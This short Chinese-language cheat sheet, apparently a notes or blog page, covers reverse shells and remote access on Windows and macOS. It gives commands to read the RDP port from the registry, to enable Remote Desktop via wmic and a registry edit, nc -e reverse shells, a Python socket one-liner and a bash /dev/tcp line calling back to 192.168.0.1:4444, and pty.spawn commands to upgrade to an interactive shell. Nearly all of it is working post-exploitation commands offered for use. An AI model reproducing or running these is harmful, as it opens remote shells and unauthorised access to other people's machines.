Windows 反弹 shell

查看windows远程桌面端口

补充一点
远程桌面的默认端口是3389,为了防止管理员更改了远程端口给我们连接带来意想不到的情况,需要通过查看注册表键值确认远程桌面的端口是否为3389

REG QUERY “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp” /v PortNumber

image-20240711094435872

0x906 就是十进制的2310

开启远程桌面

wmic RDTOGGLE WHERE ServerName=’%COMPUTERNAME%’ call SetAllowTSConnections 1

或者

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

Windows反弹shell还可以直接远程下载ncat,用nc进行反弹shell

nc -e cmd rhost rport

MacOS 反弹 shell

python

使用 python 进行反弹bash shell,ip和端口为攻击机的监听地址。

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);

Bash

如果 mac 中有/dev/tcp目录 可以用 bash 进行反弹shell

bash -i >& /dev/tcp/192.168.0.1/4444 0>&1

nc

在 mac 下载 nc 进行反弹shell

nc -e bash rhost rport

上面这些反弹shell的方法,python的反弹shell是通用的,可以跨平台

获取全交互式shell

通常在nc反弹的shell中是半交互式的,不能像在终端中一样进行全交互。这个时候可以用python打开全交互式的shell来进行更多的操作

python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'